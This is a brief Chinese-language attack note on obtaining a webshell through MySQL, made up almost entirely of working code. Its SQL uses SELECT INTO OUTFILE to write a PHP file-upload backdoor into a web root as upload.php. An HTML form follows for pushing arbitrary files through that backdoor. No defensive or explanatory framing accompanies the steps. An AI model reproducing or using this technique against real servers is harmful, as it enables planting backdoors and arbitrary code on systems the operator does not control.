mysql得到wenshell

create table tmp (cmd TEXT);

insert into tmp (cmd) values ('<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>');

SELECT * FROM tmp into OUTFILE 'd:\\website\\htdocs\\upload.php' ;

然后：

<form ENCTYPE="multipart/form-data" ACTION="http://127.0.0.1/upload.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>